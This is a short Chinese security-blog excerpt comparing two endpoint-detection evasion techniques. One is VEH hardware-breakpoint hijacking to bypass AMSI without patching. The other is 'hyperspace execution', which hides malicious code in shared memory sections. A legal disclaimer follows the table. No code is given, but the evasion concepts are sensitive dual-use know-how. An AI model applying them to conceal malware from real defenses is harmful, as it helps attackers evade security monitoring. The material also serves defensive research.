| | | | | — | — | — | | 技术维度 | VEH | 超空间执行 | | 核心思路 | 基于系统异常处理机制的执行流程劫持,通过硬件断点触发异常,在回调函数中篡改关键API的执行结果与流程,实现无补丁绕过 | 基于系统内存节管理机制的恶意代码伪装加载,通过创建共享内存节映射恶意代码,使内存属性与合法程序完全一致,实现隐蔽执行 | | 对抗目标 | 主要对抗AMSI等系统级扫描机制、EDR的API调用序列监控与代码完整性校验机制 | 主要对抗EDR的异常内存区域扫描、内存属性异常判定机制 | | 隐蔽性 | 全程无代码段修改,复用系统异常处理与调试机制,执行流程与系统正常运行逻辑高度融合,难以被动态行为检测捕获 | 内存属性、加载流程与系统合法程序完全一致,EDR基于内存特征的检测机制无法区分 | | 局限性 | 依赖异常处理机制,若EDR挂钩VEH相关API(如AddVectoredExceptionHandler)则可能被检测;对线程上下文操作精度要求高,易出现执行不稳定问题 | 依赖共享内存节与文件句柄,若EDR监控NtCreateSection、NtMapViewOfSection等API则可能被识别; |

谁能想到最后还有一张腿呢


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:DeepDark Sec 明天《对于VEH、超空间执行的一点看法》

评论:0   参与:  0